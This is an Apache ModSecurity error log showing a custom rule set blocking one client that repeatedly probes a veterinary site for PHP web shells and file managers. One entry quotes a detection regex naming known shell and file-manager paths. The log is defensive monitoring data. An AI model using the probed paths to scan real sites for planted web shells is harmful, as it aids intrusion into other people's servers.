[Fri Apr 03 21:43:24.992838 2026] [:error] [pid 55174:tid 55196] [client 172.161.140.213:20200] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ac_D_J_WKqUonPNUHYz8gQAAAdQ"]
[Fri Apr 03 21:43:25.503430 2026] [:error] [pid 35469:tid 35494] [client 172.161.140.213:11470] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yanz.php"] [unique_id "ac_D_aGvTIc8-wY3jUSpaAAAARc"]
[Fri Apr 03 21:43:26.124496 2026] [:error] [pid 40562:tid 40583] [client 172.161.140.213:50899] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "ac_D_jfFMXuP9zvqCeqOiwAAAZI"]
[Fri Apr 03 21:43:26.610753 2026] [:error] [pid 40533:tid 40551] [client 172.161.140.213:11460] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "ac_D_vbIAA8AViDmwsuzZQAAAVA"]
[Fri Apr 03 21:43:27.139096 2026] [:error] [pid 40562:tid 40578] [client 172.161.140.213:9703] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "ac_D_zfFMXuP9zvqCeqOjgAAAY0"]
[Fri Apr 03 21:43:27.779786 2026] [:error] [pid 35469:tid 35494] [client 172.161.140.213:9695] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/v3.php"] [unique_id "ac_D_6GvTIc8-wY3jUSpcgAAARc"]
[Fri Apr 03 21:43:28.265492 2026] [:error] [pid 35469:tid 35476] [client 172.161.140.213:18111] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ac_EAKGvTIc8-wY3jUSpdgAAAQU"]
[Fri Apr 03 21:43:28.754018 2026] [:error] [pid 33446:tid 33495] [client 172.161.140.213:10016] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ac_EANg3dCqFYIIdw0p5FAAAAFI"]
[Fri Apr 03 21:43:29.260356 2026] [:error] [pid 33445:tid 33472] [client 172.161.140.213:46573] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ac_EAVlRNZ0iDVmJWM0UzgAAABY"]
[Fri Apr 03 21:43:29.743759 2026] [:error] [pid 33446:tid 33501] [client 172.161.140.213:18079] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/0x.php"] [unique_id "ac_EAdg3dCqFYIIdw0p5GQAAAFg"]
[Fri Apr 03 21:43:30.228541 2026] [:error] [pid 33447:tid 33509] [client 172.161.140.213:9715] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "ac_EAkgaPmDHz92j4lNSvgAAAIU"]
[Fri Apr 03 21:43:30.813671 2026] [:error] [pid 40533:tid 40538] [client 172.161.140.213:10015] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "ac_EAvbIAA8AViDmwsuzaAAAAUM"]
[Fri Apr 03 21:43:31.306096 2026] [:error] [pid 33445:tid 33459] [client 172.161.140.213:16328] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "ac_EA1lRNZ0iDVmJWM0U1gAAAAk"]
[Fri Apr 03 21:43:31.855041 2026] [:error] [pid 55174:tid 55187] [client 172.161.140.213:21995] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/24.php"] [unique_id "ac_EA5_WKqUonPNUHYz8hwAAAcs"]
[Fri Apr 03 21:43:32.378900 2026] [:error] [pid 33447:tid 33525] [client 172.161.140.213:10952] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "ac_EBEgaPmDHz92j4lNSvwAAAJU"]
[Fri Apr 03 21:43:32.891280 2026] [:error] [pid 40562:tid 40574] [client 172.161.140.213:53876] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/lock.php"] [unique_id "ac_EBDfFMXuP9zvqCeqOmgAAAYk"]
[Fri Apr 03 21:44:10.692639 2026] [:error] [pid 33445:tid 33451] [client 172.161.140.213:10535] [client 172.161.140.213] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "vetstars.com.au"] [uri "/tiny.php"] [unique_id "ac_EKllRNZ0iDVmJWM0VJwAAAAE"]
[Fri Apr 03 21:44:24.101420 2026] [:error] [pid 33446:tid 33477] [client 172.161.140.213:53835] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ac_EONg3dCqFYIIdw0p6DAAAAEA"]
[Fri Apr 03 21:44:24.616721 2026] [:error] [pid 33445:tid 33454] [client 172.161.140.213:11340] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ac_EOFlRNZ0iDVmJWM0VQQAAAAQ"]
[Fri Apr 03 21:44:25.125029 2026] [:error] [pid 35469:tid 35478] [client 172.161.140.213:12327] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ac_EOaGvTIc8-wY3jUSqlAAAAQc"]
[Fri Apr 03 21:44:25.709140 2026] [:error] [pid 35469:tid 35477] [client 172.161.140.213:19967] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ng.php"] [unique_id "ac_EOaGvTIc8-wY3jUSqlwAAAQY"]
[Fri Apr 03 21:44:26.327033 2026] [:error] [pid 33447:tid 33511] [client 172.161.140.213:12110] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "ac_EOkgaPmDHz92j4lNS5gAAAIc"]
[Fri Apr 03 21:44:26.837268 2026] [:error] [pid 55174:tid 55195] [client 172.161.140.213:19928] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "ac_EOp_WKqUonPNUHYz8vQAAAdM"]
[Fri Apr 03 21:44:27.370363 2026] [:error] [pid 33446:tid 33486] [client 172.161.140.213:19934] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "ac_EO9g3dCqFYIIdw0p6DgAAAEk"]
[Fri Apr 03 21:44:27.978952 2026] [:error] [pid 33446:tid 33498] [client 172.161.140.213:33541] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gm.php"] [unique_id "ac_EO9g3dCqFYIIdw0p6EAAAAFU"]
[Fri Apr 03 21:44:28.614419 2026] [:error] [pid 33447:tid 33505] [client 172.161.140.213:33544] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanta.php"] [unique_id "ac_EPEgaPmDHz92j4lNS7QAAAIE"]
[Fri Apr 03 21:44:29.171208 2026] [:error] [pid 33542:tid 33564] [client 172.161.140.213:24855] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanta.php"] [unique_id "ac_EPXwb6uB1LaGtepYAPgAAANM"]
[Fri Apr 03 21:44:29.766538 2026] [:error] [pid 33446:tid 33501] [client 172.161.140.213:24894] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanta.php"] [unique_id "ac_EPdg3dCqFYIIdw0p6FAAAAFg"]
[Fri Apr 03 21:44:30.372004 2026] [:error] [pid 33446:tid 33480] [client 172.161.140.213:12111] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/vanta.php"] [unique_id "ac_EPtg3dCqFYIIdw0p6FgAAAEM"]
[Fri Apr 03 21:44:31.175320 2026] [:error] [pid 33447:tid 33516] [client 172.161.140.213:19908] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ac_EP0gaPmDHz92j4lNS9wAAAIw"]
[Fri Apr 03 21:44:31.847668 2026] [:error] [pid 35469:tid 35474] [client 172.161.140.213:16871] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ac_EP6GvTIc8-wY3jUSqqgAAAQM"]
[Fri Apr 03 21:44:32.354667 2026] [:error] [pid 35469:tid 35490] [client 172.161.140.213:21431] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ac_EQKGvTIc8-wY3jUSqrAAAARM"]
[Fri Apr 03 21:44:33.078587 2026] [:error] [pid 33445:tid 33458] [client 172.161.140.213:10738] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/zogy1.php"] [unique_id "ac_EQVlRNZ0iDVmJWM0VUgAAAAg"]
[Fri Apr 03 21:44:33.861565 2026] [:error] [pid 33446:tid 33487] [client 172.161.140.213:19938] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ac_EQdg3dCqFYIIdw0p6JAAAAEo"]
[Fri Apr 03 21:44:34.536976 2026] [:error] [pid 33446:tid 33489] [client 172.161.140.213:12107] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ac_EQtg3dCqFYIIdw0p6JgAAAEw"]
[Fri Apr 03 21:44:35.238290 2026] [:error] [pid 40533:tid 40542] [client 172.161.140.213:52688] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ac_EQ_bIAA8AViDmwsuzlQAAAUc"]
[Fri Apr 03 21:44:35.766558 2026] [:error] [pid 33542:tid 33563] [client 172.161.140.213:9299] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wps.php"] [unique_id "ac_EQ3wb6uB1LaGtepYARQAAANI"]
[Fri Apr 03 21:44:36.294330 2026] [:error] [pid 33445:tid 33451] [client 172.161.140.213:9294] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "ac_ERFlRNZ0iDVmJWM0VYQAAAAE"]
[Fri Apr 03 21:44:37.290585 2026] [:error] [pid 55174:tid 55194] [client 172.161.140.213:33576] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "ac_ERZ_WKqUonPNUHYz8zAAAAdI"]
[Fri Apr 03 21:44:38.159130 2026] [:error] [pid 40533:tid 40541] [client 172.161.140.213:34120] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "ac_ERvbIAA8AViDmwsuzlwAAAUY"]
[Fri Apr 03 21:44:38.708846 2026] [:error] [pid 35469:tid 35472] [client 172.161.140.213:11380] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bolt.php"] [unique_id "ac_ERqGvTIc8-wY3jUSqsQAAAQE"]
[Fri Apr 03 21:44:39.221742 2026] [:error] [pid 55174:tid 55188] [client 172.161.140.213:13009] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ac_ER5_WKqUonPNUHYz80AAAAcw"]
[Fri Apr 03 21:44:39.966902 2026] [:error] [pid 40562:tid 40575] [client 172.161.140.213:1618] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ac_ERzfFMXuP9zvqCeqPJAAAAYo"]
[Fri Apr 03 21:44:40.591159 2026] [:error] [pid 40533:tid 40550] [client 172.161.140.213:32243] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ac_ESPbIAA8AViDmwsuzmgAAAU8"]
[Fri Apr 03 21:44:41.369432 2026] [:error] [pid 33542:tid 33562] [client 172.161.140.213:12506] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "ac_ESXwb6uB1LaGtepYATAAAANE"]
[Fri Apr 03 21:44:42.416178 2026] [:error] [pid 33445:tid 33456] [client 172.161.140.213:13247] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac_ESllRNZ0iDVmJWM0VfwAAAAY"]
[Fri Apr 03 21:44:43.328708 2026] [:error] [pid 33445:tid 33473] [client 172.161.140.213:34137] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac_ES1lRNZ0iDVmJWM0VhQAAABc"]
[Fri Apr 03 21:44:44.265245 2026] [:error] [pid 33445:tid 33463] [client 172.161.140.213:12503] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac_ETFlRNZ0iDVmJWM0VjAAAAA0"]
[Fri Apr 03 21:44:45.385263 2026] [:error] [pid 33445:tid 33468] [client 172.161.140.213:33590] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/index.php"] [unique_id "ac_ETVlRNZ0iDVmJWM0VlQAAABI"]
[Fri Apr 03 21:44:45.939088 2026] [:error] [pid 40562:tid 40569] [client 172.161.140.213:12150] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac_ETTfFMXuP9zvqCeqPMQAAAYQ"]
[Fri Apr 03 21:44:47.023483 2026] [:error] [pid 55174:tid 55178] [client 172.161.140.213:34129] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac_ET5_WKqUonPNUHYz83AAAAcI"]
[Fri Apr 03 21:44:48.072305 2026] [:error] [pid 40562:tid 40583] [client 172.161.140.213:16002] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac_EUDfFMXuP9zvqCeqPOwAAAZI"]
[Fri Apr 03 21:44:49.001767 2026] [:error] [pid 40562:tid 40565] [client 172.161.140.213:12589] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/maint/admin.php"] [unique_id "ac_EUTfFMXuP9zvqCeqPPgAAAYA"]
[Fri Apr 03 21:44:50.634328 2026] [:error] [pid 33446:tid 33483] [client 172.161.140.213:16005] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ac_EUtg3dCqFYIIdw0p6MwAAAEY"]
[Fri Apr 03 21:44:51.524467 2026] [:error] [pid 33445:tid 33473] [client 172.161.140.213:1658] [client 172.161.140.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/eFpU3yHnriNNLtvdefault.php"] [unique_id "ac_EU1lRNZ0iDVmJWM0VoAAAABc"]
